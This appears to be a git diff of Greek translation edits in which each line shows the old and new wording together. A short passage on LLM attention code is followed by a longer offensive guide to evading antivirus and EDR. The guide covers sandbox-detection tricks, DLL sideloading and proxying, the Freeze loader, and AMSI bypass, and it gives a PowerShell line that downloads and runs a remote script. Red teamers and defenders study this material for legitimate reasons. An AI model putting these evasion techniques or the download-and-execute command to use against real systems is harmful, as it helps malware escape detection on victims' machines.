Grabbing an example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) you can check this class that implements the self-attendant functionality we talked about: Αρπάζοντας ένα παράδειγμα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) μπορείτε να ελέγξετε αυτή την κλάση που υλοποιεί τη λειτουργικότητα self-attendant που συζητήσαμε:
```python ```python
import torch import torch
@ -225,16 +225,16 @@ sa_v2 = SelfAttention_v2(d_in, d_out)
print(sa_v2(inputs)) print(sa_v2(inputs))
``` ```
{% hint style="info" %} {% hint style="info" %}
Σημειώστε ότι αντί να αρχικοποιήσουμε τους πίνακες με τυχαίες τιμές, χρησιμοποιείται το `nn.Linear` για να σημάνει όλα τα βάρη ως παραμέτρους προς εκπαίδευση. Σημειώστε ότι αντί να αρχικοποιήσουμε τους πίνακες με τυχαίες τιμές, χρησιμοποιείται το `nn.Linear` για να δηλώσουμε όλα τα βάρη ως παραμέτρους προς εκπαίδευση.
{% endhint %} {% endhint %}
## Αιτιώδης Προσοχή: Κρύβοντας Μελλοντικές Λέξεις ## Αιτιώδης Προσοχή: Απόκρυψη Μελλοντικών Λέξεων
Για τα LLMs θέλουμε το μοντέλο να εξετάσει μόνο τα tokens που εμφανίζονται πριν από την τρέχουσα θέση προκειμένου να **προβλέψει το επόμενο token**. **Αιτιώδης προσοχή**, γνωστή επίσης ως **masked attention**, επιτυγχάνει αυτό τροποποιώντας τον μηχανισμό προσοχής για να αποτρέψει την πρόσβαση σε μελλοντικά tokens. Για τα LLMs θέλουμε το μοντέλο να εξετάσει μόνο τα tokens που εμφανίζονται πριν από την τρέχουσα θέση προκειμένου να **προβλέψει το επόμενο token**. **Η αιτιώδης προσοχή**, γνωστή επίσης ως **masked attention**, το επιτυγχάνει τροποποιώντας τον μηχανισμό προσοχής για να αποτρέψει την πρόσβαση σε μελλοντικά tokens.
### Εφαρμογή Μάσκας Αιτιώδους Προσοχής ### Εφαρμογή Μάσκας Αιτιώδους Προσοχής
Για να εφαρμόσουμε την αιτιώδη προσοχή, εφαρμόζουμε μια μάσκα στους βαθμούς προσοχής **πριν από τη λειτουργία softmax** έτσι ώστε οι υπόλοιποι να αθροίζουν 1. Αυτή η μάσκα ορίζει τους βαθμούς προσοχής των μελλοντικών tokens σε αρνητική άπειρο, διασφαλίζοντας ότι μετά το softmax, τα βάρη προσοχής τους είναι μηδέν. Για να εφαρμόσουμε την αιτιώδη προσοχή, εφαρμόζουμε μια μάσκα στους βαθμούς προσοχής **πριν από τη λειτουργία softmax** έτσι ώστε οι υπόλοιποι να αθροίζουν 1. Αυτή η μάσκα ρυθμίζει τους βαθμούς προσοχής των μελλοντικών tokens σε αρνητική άπειρο, διασφαλίζοντας ότι μετά το softmax, τα βάρη προσοχής τους είναι μηδέν.
**Βήματα** **Βήματα**
@ -253,7 +253,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
### Μάσκα πρόσθετων Βαρών Προσοχής με Dropout ### Μάσκα πρόσθετων Βαρών Προσοχής με Dropout
Για να **αποτρέψουμε την υπερβολική προσαρμογή**, μπορούμε να εφαρμόσουμε **dropout** στα βάρη προσοχής μετά τη λειτουργία softmax. Το dropout **τυχαία μηδενίζει μερικά από τα βάρη προσοχής** κατά τη διάρκεια της εκπαίδευσης. Για να **αποτρέψουμε την υπερβολική προσαρμογή**, μπορούμε να εφαρμόσουμε **dropout** στα βάρη προσοχής μετά τη λειτουργία softmax. Το dropout **τυχαία μηδενίζει ορισμένα από τα βάρη προσοχής** κατά τη διάρκεια της εκπαίδευσης.
```python ```python
dropout = nn.Dropout(p=0.5) dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights) attention_weights = dropout(attention_weights)
@ -326,11 +326,11 @@ print("context_vecs.shape:", context_vecs.shape)
``` ```
## Επέκταση της Μονοκέφαλης Προσοχής σε Πολυκέφαλη Προσοχή ## Επέκταση της Μονοκέφαλης Προσοχής σε Πολυκέφαλη Προσοχή
**Πολυκέφαλη προσοχή** στην πρακτική σημαίνει την εκτέλεση **πολλών παραδείγματων** της λειτουργίας αυτοπροσοχής, καθένα από τα οποία έχει **τα δικά του βάρη**, έτσι ώστε να υπολογίζονται διαφορετικοί τελικοί διανύσματα. **Πολυκέφαλη προσοχή** στην πρακτική σημαίνει την εκτέλεση **πολλών περιπτώσεων** της λειτουργίας αυτοπροσοχής, καθεμία με **τα δικά της βάρη**, έτσι ώστε να υπολογίζονται διαφορετικοί τελικοί διανύσματα.
### Παράδειγμα Κώδικα ### Παράδειγμα Κώδικα
Θα μπορούσε να είναι δυνατό να επαναχρησιμοποιηθεί ο προηγούμενος κώδικας και απλώς να προστεθεί μια περιτύλιξη που τον εκκινεί πολλές φορές, αλλά αυτή είναι μια πιο βελτιστοποιημένη έκδοση από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) που επεξεργάζεται όλες τις κεφαλές ταυτόχρονα (μειώνοντας τον αριθμό των δαπανηρών βρόχων). Όπως μπορείτε να δείτε στον κώδικα, οι διαστάσεις κάθε token διαιρούνται σε διαφορετικές διαστάσεις ανάλογα με τον αριθμό των κεφαλών. Με αυτόν τον τρόπο, αν το token έχει 8 διαστάσεις και θέλουμε να χρησιμοποιήσουμε 3 κεφαλές, οι διαστάσεις θα διαιρεθούν σε 2 πίνακες των 4 διαστάσεων και κάθε κεφαλή θα χρησιμοποιήσει έναν από αυτούς: Θα μπορούσε να είναι δυνατό να επαναχρησιμοποιηθεί ο προηγούμενος κώδικας και απλώς να προστεθεί μια περιτύλιξη που να τον εκκινεί πολλές φορές, αλλά αυτή είναι μια πιο βελτιστοποιημένη έκδοση από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) που επεξεργάζεται όλες τις κεφαλές ταυτόχρονα (μειώνοντας τον αριθμό των δαπανηρών βρόχων). Όπως μπορείτε να δείτε στον κώδικα, οι διαστάσεις κάθε token διαιρούνται σε διαφορετικές διαστάσεις ανάλογα με τον αριθμό των κεφαλών. Με αυτόν τον τρόπο, αν το token έχει 8 διαστάσεις και θέλουμε να χρησιμοποιήσουμε 3 κεφαλές, οι διαστάσεις θα διαιρεθούν σε 2 πίνακες των 4 διαστάσεων και κάθε κεφαλή θα χρησιμοποιήσει έναν από αυτούς:
```python ```python
class MultiHeadAttention(nn.Module): class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):

View file

@ -15,7 +15,7 @@
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_). Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
@ -23,9 +23,9 @@
**Αυτή η σελίδα γράφτηκε από** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!** **Αυτή η σελίδα γράφτηκε από** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
## **Μεθοδολογία Αποφυγής AV** ## **Μεθοδολογία Απόφυγης AV**
Αυτή τη στιγμή, τα AV χρησιμοποιούν διάφορες μεθόδους για να ελέγξουν αν ένα αρχείο είναι κακόβουλο ή όχι, στατική ανίχνευση, δυναμική ανάλυση και για τα πιο προηγμένα EDRs, ανάλυση συμπεριφοράς. Αυτή τη στιγμή, οι AV χρησιμοποιούν διάφορες μεθόδους για να ελέγξουν αν ένα αρχείο είναι κακόβουλο ή όχι, στατική ανίχνευση, δυναμική ανάλυση και για τα πιο προηγμένα EDRs, ανάλυση συμπεριφοράς.
### **Στατική ανίχνευση** ### **Στατική ανίχνευση**
@ -33,11 +33,11 @@
* **Κρυπτογράφηση** * **Κρυπτογράφηση**
Αν κρυπτογραφήσετε το δυαδικό, δεν θα υπάρχει τρόπος για το AV να ανιχνεύσει το πρόγραμμα σας, αλλά θα χρειαστείτε κάποιο είδος φορτωτή για να αποκρυπτογραφήσετε και να εκτελέσετε το πρόγραμμα στη μνήμη. Αν κρυπτογραφήσετε το δυαδικό, δεν θα υπάρχει τρόπος για τον AV να ανιχνεύσει το πρόγραμμα σας, αλλά θα χρειαστείτε κάποιο είδος φορτωτή για να αποκρυπτογραφήσετε και να εκτελέσετε το πρόγραμμα στη μνήμη.
* **Αποσύνθεση** * **Αποσύνθεση**
Μερικές φορές το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικές συμβολοσειρές στο δυαδικό ή το σενάριο σας για να το περάσετε από το AV, αλλά αυτό μπορεί να είναι μια χρονοβόρα εργασία ανάλογα με το τι προσπαθείτε να αποσυνθέσετε. Μερικές φορές το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικές συμβολοσειρές στο δυαδικό ή σενάριο σας για να το περάσετε από τον AV, αλλά αυτό μπορεί να είναι μια χρονοβόρα εργασία ανάλογα με το τι προσπαθείτε να αποσυνθέσετε.
* **Προσαρμοσμένα εργαλεία** * **Προσαρμοσμένα εργαλεία**
@ -47,17 +47,17 @@
Ένας καλός τρόπος για να ελέγξετε την στατική ανίχνευση του Windows Defender είναι το [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Βασικά χωρίζει το αρχείο σε πολλαπλά τμήματα και στη συνέχεια ζητά από τον Defender να σαρώσει το καθένα ξεχωριστά, με αυτόν τον τρόπο, μπορεί να σας πει ακριβώς ποιες είναι οι επισημασμένες συμβολοσειρές ή bytes στο δυαδικό σας. Ένας καλός τρόπος για να ελέγξετε την στατική ανίχνευση του Windows Defender είναι το [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Βασικά χωρίζει το αρχείο σε πολλαπλά τμήματα και στη συνέχεια ζητά από τον Defender να σαρώσει το καθένα ξεχωριστά, με αυτόν τον τρόπο, μπορεί να σας πει ακριβώς ποιες είναι οι επισημασμένες συμβολοσειρές ή bytes στο δυαδικό σας.
{% endhint %} {% endhint %}
Σας προτείνω να ελέγξετε αυτή τη [λίστα αναπαραγωγής στο YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) σχετικά με πρακτική αποφυγή AV. Σας προτείνω να ελέγξετε αυτή τη [λίστα αναπαραγωγής στο YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) σχετικά με πρακτική Απόφυγης AV.
### **Δυναμική ανάλυση** ### **Δυναμική ανάλυση**
Η δυναμική ανάλυση είναι όταν το AV εκτελεί το δυαδικό σας σε ένα sandbox και παρακολουθεί για κακόβουλη δραστηριότητα (π.χ. προσπαθώντας να αποκρυπτογραφήσει και να διαβάσει τους κωδικούς πρόσβασης του προγράμματος περιήγησης σας, εκτελώντας ένα minidump στο LSASS, κ.λπ.). Αυτό το μέρος μπορεί να είναι λίγο πιο δύσκολο να δουλέψετε, αλλά εδώ είναι μερικά πράγματα που μπορείτε να κάνετε για να αποφύγετε τα sandbox. Η δυναμική ανάλυση είναι όταν ο AV εκτελεί το δυαδικό σας σε ένα sandbox και παρακολουθεί για κακόβουλη δραστηριότητα (π.χ. προσπαθώντας να αποκρυπτογραφήσει και να διαβάσει τους κωδικούς πρόσβασης του προγράμματος περιήγησης σας, εκτελώντας ένα minidump στο LSASS, κ.λπ.). Αυτό το μέρος μπορεί να είναι λίγο πιο δύσκολο να δουλέψετε, αλλά εδώ είναι μερικά πράγματα που μπορείτε να κάνετε για να αποφύγετε τα sandbox.
* **Ύπνος πριν την εκτέλεση** Ανάλογα με το πώς έχει υλοποιηθεί, μπορεί να είναι ένας εξαιρετικός τρόπος για να παρακάμψετε την δυναμική ανάλυση του AV. Τα AV έχουν πολύ λίγο χρόνο για να σαρώσουν τα αρχεία ώστε να μην διακόψουν τη ροή εργασίας του χρήστη, οπότε η χρήση μεγάλων περιόδων ύπνου μπορεί να διαταράξει την ανάλυση των δυαδικών. Το πρόβλημα είναι ότι πολλά sandbox AV μπορούν απλώς να παραλείψουν τον ύπνο ανάλογα με το πώς έχει υλοποιηθεί. * **Ύπνος πριν την εκτέλεση** Ανάλογα με το πώς έχει υλοποιηθεί, μπορεί να είναι ένας εξαιρετικός τρόπος για να παρακάμψετε την δυναμική ανάλυση του AV. Οι AV έχουν πολύ λίγο χρόνο για να σαρώσουν τα αρχεία ώστε να μην διακόψουν τη ροή εργασίας του χρήστη, οπότε η χρήση μεγάλων περιόδων ύπνου μπορεί να διαταράξει την ανάλυση των δυαδικών. Το πρόβλημα είναι ότι πολλά sandbox AV μπορούν απλώς να παραλείψουν τον ύπνο ανάλογα με το πώς έχει υλοποιηθεί.
* **Έλεγχος πόρων μηχανής** Συνήθως τα Sandbox έχουν πολύ λίγους πόρους για να δουλέψουν (π.χ. < 2GB RAM), αλλιώς θα μπορούσαν να επιβραδύνουν τη μηχανή του χρήστη. Μπορείτε επίσης να γίνετε πολύ δημιουργικοί εδώ, για παράδειγμα ελέγχοντας τη θερμοκρασία της CPU ή ακόμη και τις ταχύτητες των ανεμιστήρων, δεν θα έχει όλα υλοποιηθεί στο sandbox. * **Έλεγχος πόρων μηχανής** Συνήθως τα Sandbox έχουν πολύ λίγους πόρους για να δουλέψουν (π.χ. < 2GB RAM), αλλιώς θα μπορούσαν να επιβραδύνουν τη μηχανή του χρήστη. Μπορείτε επίσης να γίνετε πολύ δημιουργικοί εδώ, για παράδειγμα ελέγχοντας τη θερμοκρασία της CPU ή ακόμη και τις ταχύτητες των ανεμιστήρων, δεν θα έχει όλα υλοποιηθεί στο sandbox.
* **Έλεγχοι συγκεκριμένοι για τη μηχανή** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο υπολογιστής είναι συνδεδεμένος στο τομέα "contoso.local", μπορείτε να κάνετε έναν έλεγχο στον τομέα του υπολογιστή για να δείτε αν ταιριάζει με αυτόν που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει. * **Έλεγχοι συγκεκριμένοι για τη μηχανή** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο υπολογιστής είναι συνδεδεμένος στο τομέα "contoso.local", μπορείτε να κάνετε έναν έλεγχο στον τομέα του υπολογιστή για να δείτε αν ταιριάζει με αυτόν που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει.
Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με το HAL9TH, σημαίνει ότι βρίσκεστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει. Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με HAL9TH, σημαίνει ότι βρίσκεστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει.
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>πηγή: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure> <figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>πηγή: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
@ -69,25 +69,25 @@
Για παράδειγμα, αν θέλετε να κάνετε dump LSASS, **χρειάζεστε πραγματικά να χρησιμοποιήσετε το mimikatz**; Ή θα μπορούσατε να χρησιμοποιήσετε ένα διαφορετικό έργο που είναι λιγότερο γνωστό και επίσης κάνει dump LSASS. Για παράδειγμα, αν θέλετε να κάνετε dump LSASS, **χρειάζεστε πραγματικά να χρησιμοποιήσετε το mimikatz**; Ή θα μπορούσατε να χρησιμοποιήσετε ένα διαφορετικό έργο που είναι λιγότερο γνωστό και επίσης κάνει dump LSASS.
Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο επισημασμένα κομμάτια κακόβουλου λογισμικού από τα AV και EDRs, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης εφιάλτης να δουλέψετε μαζί του για να παρακάμψετε τα AV, οπότε απλώς αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να επιτύχετε. Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο επισημασμένα κομμάτια κακόβουλου λογισμικού από τους AV και EDR, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης εφιάλτης να δουλέψετε με αυτό για να παρακάμψετε τους AV, οπότε απλώς αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να επιτύχετε.
{% hint style="info" %} {% hint style="info" %}
Όταν τροποποιείτε τα payload σας για αποφυγή, βεβαιωθείτε ότι έχετε **απενεργοποιήσει την αυτόματη υποβολή δειγμάτων** στον defender, και παρακαλώ, σοβαρά, **ΜΗΝ ΑΝΕΒΑΖΕΤΕ ΣΤΟ VIRUSTOTAL** αν ο στόχος σας είναι η επίτευξη αποφυγής μακροπρόθεσμα. Αν θέλετε να ελέγξετε αν το payload σας ανιχνεύεται από ένα συγκεκριμένο AV, εγκαταστήστε το σε μια VM, προσπαθήστε να απενεργοποιήσετε την αυτόματη υποβολή δειγμάτων, και δοκιμάστε το εκεί μέχρι να είστε ικανοποιημένοι με το αποτέλεσμα. Όταν τροποποιείτε τα payload σας για αποφυγή, βεβαιωθείτε ότι έχετε **απενεργοποιήσει την αυτόματη υποβολή δειγμάτων** στον defender, και παρακαλώ, σοβαρά, **ΜΗΝ ΑΝΕΒΑΖΕΤΕ ΣΤΟ VIRUSTOTAL** αν ο στόχος σας είναι να επιτύχετε αποφυγή μακροπρόθεσμα. Αν θέλετε να ελέγξετε αν το payload σας ανιχνεύεται από έναν συγκεκριμένο AV, εγκαταστήστε το σε μια VM, προσπαθήστε να απενεργοποιήσετε την αυτόματη υποβολή δειγμάτων, και δοκιμάστε το εκεί μέχρι να είστε ικανοποιημένοι με το αποτέλεσμα.
{% endhint %} {% endhint %}
## EXEs vs DLLs ## EXEs vs DLLs
Όποτε είναι δυνατόν, πάντα **προτιμήστε τη χρήση DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλύονται, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά). Όποτε είναι δυνατόν, πάντα **προτιμήστε να χρησιμοποιείτε DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλυόμενα, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά).
Όπως μπορούμε να δούμε σε αυτή την εικόνα, ένα DLL Payload από το Havoc έχει ποσοστό ανίχνευσης 4/26 στο antiscan.me, ενώ το EXE payload έχει ποσοστό ανίχνευσης 7/26. Όπως μπορούμε να δούμε σε αυτή την εικόνα, ένα Payload DLL από το Havoc έχει ποσοστό ανίχνευσης 4/26 στο antiscan.me, ενώ το payload EXE έχει ποσοστό ανίχνευσης 7/26.
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>σύγκριση antiscan.me ενός κανονικού EXE payload του Havoc με ένα κανονικό DLL του Havoc</p></figcaption></figure> <figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>σύγκριση antiscan.me ενός κανονικού payload EXE του Havoc με ένα κανονικό DLL του Havoc</p></figcaption></figure>
Τώρα θα δείξουμε μερικά κόλπα που μπορείτε να χρησιμοποιήσετε με αρχεία DLL για να είστε πολύ πιο διακριτικοί. Τώρα θα δείξουμε μερικά κόλπα που μπορείτε να χρησιμοποιήσετε με αρχεία DLL για να είστε πολύ πιο διακριτικοί.
## DLL Sideloading & Proxying ## DLL Sideloading & Proxying
**DLL Sideloading** εκμεταλλεύεται τη σειρά αναζήτησης DLL που χρησιμοποιείται από τον φορτωτή τοποθετώντας τόσο την εφαρμογή-στόχο όσο και τα κακόβουλα payloads δίπλα-δίπλα. **DLL Sideloading** εκμεταλλεύεται τη σειρά αναζήτησης DLL που χρησιμοποιείται από τον φορτωτή τοποθετώντας τόσο την εφαρμογή θύμα όσο και τα κακόβουλα payloads δίπλα-δίπλα.
Μπορείτε να ελέγξετε για προγράμματα που είναι ευάλωτα σε DLL Sideloading χρησιμοποιώντας το [Siofra](https://github.com/Cybereason/siofra) και το παρακάτω script powershell: Μπορείτε να ελέγξετε για προγράμματα που είναι ευάλωτα σε DLL Sideloading χρησιμοποιώντας το [Siofra](https://github.com/Cybereason/siofra) και το παρακάτω script powershell:
@ -100,7 +100,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
``` ```
{% endcode %} {% endcode %}
Αυτή η εντολή θα εμφανίσει τη λίστα των προγραμμάτων που είναι ευάλωτα σε DLL hijacking μέσα στο "C:\Program Files\\" και τα αρχεία DLL που προσπαθούν να φορτώσουν. Αυτή η εντολή θα εμφανίσει τη λίστα των προγραμμάτων που είναι ευάλωτα σε DLL hijacking μέσα στον φάκελο "C:\Program Files\\" και τα αρχεία DLL που προσπαθούν να φορτώσουν.
Συνιστώ ανεπιφύλακτα να **εξερευνήσετε τα προγράμματα που είναι επιρρεπή σε DLL Hijackable/Sideloadable μόνοι σας**, αυτή η τεχνική είναι αρκετά διακριτική αν γίνει σωστά, αλλά αν χρησιμοποιήσετε δημόσια γνωστά προγράμματα Sideloadable DLL, μπορεί να σας πιάσουν εύκολα. Συνιστώ ανεπιφύλακτα να **εξερευνήσετε τα προγράμματα που είναι επιρρεπή σε DLL Hijackable/Sideloadable μόνοι σας**, αυτή η τεχνική είναι αρκετά διακριτική αν γίνει σωστά, αλλά αν χρησιμοποιήσετε δημόσια γνωστά προγράμματα Sideloadable DLL, μπορεί να σας πιάσουν εύκολα.
@ -135,7 +135,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Και ο κώδικας μας (κωδικοποιημένος με [SGN](https://github.com/EgeBalci/sgn)) και η DLL proxy έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία. Και ο κώδικας μας (κωδικοποιημένος με [SGN](https://github.com/EgeBalci/sgn)) και η proxy DLL έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία.
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
@ -145,7 +145,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
## [**Freeze**](https://github.com/optiv/Freeze) ## [**Freeze**](https://github.com/optiv/Freeze)
`Το Freeze είναι ένα εργαλείο payload για την παράκαμψη των EDRs χρησιμοποιώντας ανασταλμένες διαδικασίες, άμεσες syscalls και εναλλακτικές μεθόδους εκτέλεσης` `Freeze είναι ένα εργαλείο payload για την παράκαμψη των EDRs χρησιμοποιώντας ανασταλμένες διαδικασίες, άμεσες syscalls και εναλλακτικές μεθόδους εκτέλεσης`
Μπορείτε να χρησιμοποιήσετε το Freeze για να φορτώσετε και να εκτελέσετε τον κώδικά σας με διακριτικό τρόπο. Μπορείτε να χρησιμοποιήσετε το Freeze για να φορτώσετε και να εκτελέσετε τον κώδικά σας με διακριτικό τρόπο.
``` ```
@ -162,7 +162,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (Διεπαφή Σάρωσης Κακόβουλου Λογισμικού) ## AMSI (Διεπαφή Σάρωσης Κακόβουλου Λογισμικού)
Η AMSI δημιουργήθηκε για να αποτρέπει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)". Αρχικά, οι AV ήταν ικανοί να σαρώσουν **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιο τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα. Η AMSI δημιουργήθηκε για να αποτρέπει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)". Αρχικά, οι AVs ήταν ικανοί να σαρώσουν **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιο τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα.
Η δυνατότητα AMSI είναι ενσωματωμένη σε αυτά τα στοιχεία των Windows. Η δυνατότητα AMSI είναι ενσωματωμένη σε αυτά τα στοιχεία των Windows.
@ -170,9 +170,9 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
* PowerShell (σενάρια, διαδραστική χρήση και δυναμική αξιολόγηση κώδικα) * PowerShell (σενάρια, διαδραστική χρήση και δυναμική αξιολόγηση κώδικα)
* Windows Script Host (wscript.exe και cscript.exe) * Windows Script Host (wscript.exe και cscript.exe)
* JavaScript και VBScript * JavaScript και VBScript
* Μακροεντολές VBA του Office * Μακροεντολές Office VBA
Επιτρέπει στις λύσεις antivirus να ελέγχουν τη συμπεριφορά των σεναρίων εκθέτοντας το περιεχόμενο των σεναρίων με μορφή που είναι τόσο μη κρυπτογραφημένη όσο και μη παραποιημένη. Επιτρέπει στις λύσεις antivirus να επιθεωρούν τη συμπεριφορά των σεναρίων εκθέτοντας το περιεχόμενο των σεναρίων με μορφή που είναι τόσο μη κρυπτογραφημένη όσο και μη αποκρυπτογραφημένη.
Η εκτέλεση `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` θα παράγει την ακόλουθη ειδοποίηση στο Windows Defender. Η εκτέλεση `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` θα παράγει την ακόλουθη ειδοποίηση στο Windows Defender.
@ -184,15 +184,15 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
Υπάρχουν μερικοί τρόποι για να παρακάμψετε την AMSI: Υπάρχουν μερικοί τρόποι για να παρακάμψετε την AMSI:
* **Παραποίηση** * **Αποκρυπτογράφηση**
Δεδομένου ότι η AMSI λειτουργεί κυρίως με στατικές ανιχνεύσεις, επομένως, η τροποποίηση των σεναρίων που προσπαθείτε να φορτώσετε μπορεί να είναι ένας καλός τρόπος για να αποφύγετε την ανίχνευση. Δεδομένου ότι η AMSI λειτουργεί κυρίως με στατικές ανιχνεύσεις, επομένως, η τροποποίηση των σεναρίων που προσπαθείτε να φορτώσετε μπορεί να είναι ένας καλός τρόπος για να αποφύγετε την ανίχνευση.
Ωστόσο, η AMSI έχει τη δυνατότητα να αποπαραποιεί σενάρια ακόμη και αν έχει πολλαπλά επίπεδα, οπότε η παραποίηση μπορεί να είναι κακή επιλογή ανάλογα με το πώς γίνεται. Αυτό το καθιστά όχι και τόσο απλό να αποφευχθεί. Αν και, μερικές φορές, το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικά ονόματα μεταβλητών και θα είστε εντάξει, οπότε εξαρτάται από το πόσο έχει επισημανθεί κάτι. Ωστόσο, η AMSI έχει τη δυνατότητα να αποκρυπτογραφεί σενάρια ακόμη και αν έχει πολλαπλά επίπεδα, οπότε η αποκρυπτογράφηση μπορεί να είναι κακή επιλογή ανάλογα με το πώς γίνεται. Αυτό το καθιστά όχι και τόσο απλό να αποφευχθεί. Αν και, μερικές φορές, το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικά ονόματα μεταβλητών και θα είστε εντάξει, οπότε εξαρτάται από το πόσο έχει επισημανθεί κάτι.
* **Παράκαμψη AMSI** * **Παράκαμψη AMSI**
